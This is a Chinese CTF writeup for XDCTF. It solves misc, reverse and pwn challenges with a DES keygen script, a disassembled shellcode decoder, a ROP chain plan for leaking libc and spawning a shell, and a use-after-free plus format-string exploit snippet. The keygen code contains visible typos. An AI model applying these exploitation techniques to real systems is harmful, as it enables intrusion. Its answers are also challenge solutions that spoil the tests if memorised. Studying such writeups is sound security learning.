XDCTF Writeup by shrek_wzw

Misc 100

根据提示下载braintools,编译后试了一下命令,braincopter。再下载https://github.com/hhhonzik/python-brainfuck,运行后就得到flag。

Reverse 100

有些坑, xor_key = "ZzAwZF9DcjRrM3JfZzBfb24="。_fini_array中sub_400787才是得到flag的函数。最后反向处理后,得到的input是U'Re_AwEs0Me,再小写即可。

Reverse 200

patch二进制文件,0x401160 - 0x4011e0中的数据 xor 0x88,下断点,nop一些花指令。0x401160就是对输入的input进行对比,分了几个部分,一步步调试即可。最后得到flag是XDCTF{Congra_tUlat\$eyOu}。

Reverse 500

发现使用的是DES, key和iv是"\x34\x45\x86\x99\x1a\x4b\xcd\xa5"。注册机:

```
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import svs
from Crypto.Cipher import DES
def enc(data):
    key = "\x34\x45\x86\x99\x1a\x4b\xcd\xa5"
    iv = key
    cipher = DES.new(key, DES.MODE_ECB, iv)
    return cipher.encrypt(data)
def key_gen(machine_code):
    tmp = machine_code[4:]
    tmp2 = machine_code[:4]
   m = tmp + tmp2
   key = m.decode("hex")
   for c in key:
        t \leftarrow chr(ord(c) \land 0xe4)
    t = t.ljust(24, "\x08")
    e = enc(t)
   print e.encode("hex")
if __name__ == "__main__":
   key_gen(sys.argv[1])
```

Pwn 100

打开后,发现有90909090和eb04的二进制数据,猜测包含shellcode。反编译后,可以看到,shellcode的解码部分如下,xor 0x7bd31f11。写脚本异或后,再运行调试器,即可看到"cmd.exe /c echo xdctf{d4_5h1_fu_d41_w0_f31} > c:\flag.txt && attrib c:\flag.txtp}"。

```
0x00000011
                            b8111fd37b mov eax, 0x7bd31f11
0x00000016
            4
                              d97424f4 fnstenv dword [esp - 0xc]
0x0000001a
            1
                                    5b pop ebx
0x0000001b
                                  2bc9 sub ecx, ecx
0x0000001d
                                  b143 mov cl, 0x43
0x0000001f
            3
                                31431a xor dword [ebx + 0x1a], eax
0x00000022
                                83ebfc sub ebx, -4
                                034316 add eax, dword [ebx + 0x16]
0x00000025
                                  e2e4 loop 0xe
0x00000028
0x0000002a
                                  e33b jecxz 0x67
```

Pwn 200

sub_8048484中存在栈溢出,可以构造write_plt的rop泄漏got表中的函数地址。取__libc_start_main的地址,减去0x10970,然后暴力dump libc。从dump出的libc数据块中,找到system函数的特征字节,就得到system相对于__libc_start_main的偏移。

pwn的时候分为三步

- (1) write_plt rop泄漏__libc_start_main的地址,然后计算得到system的地址
- (2) read_plt rop读入"/bin/sh\x00"到0x804a014
- (3) system rop后就得到shell。

Pwn 300

这题做过。MentalNote, writeup https://ctf-team.vulnhub.com/hackim-2015-exploit-400/, 把以前的脚本里的Note全改成Girl就直接得到shell了。

Pwn 400

整形溢出,把payload中的大小的字段设为0xffff,代码中判断是0xffff + 2 -> 1,使得长度判断错误,输出得到flag。

Pwn 500

UAF, 可以修改exam的函数指针, 过程如下:

```
register(r, "aaaa", "bbbb")
take_exam(r, 1, "A"*104, 104)
show_score(r)
resit(r, 1)
take_exam(r, 2, "B"*104, 104) // english block 和 math essay 在同一地址

printf_plt = 0x4009b0
payload = "%11$llX".ljust(24, "l")
payload += p64(printf_plt)
payload = payload.ljust(104, "C")
cheat(r, 1, payload) // 修改math essay, 就把english的函数指针给改了
show_score(r) // 这里用printf来泄漏栈信息
```

泄漏栈上的信息得到__libc_start_main中的返回地址,然后根据给的libc计算system的地址。本来是要用stack pivot跳转到我们输入的数据中,但是没找到合适的gadget。于是。。直接把函数指针设成了libc中的execv /bin/sh的偏移,运气好可以用,就得到shell了。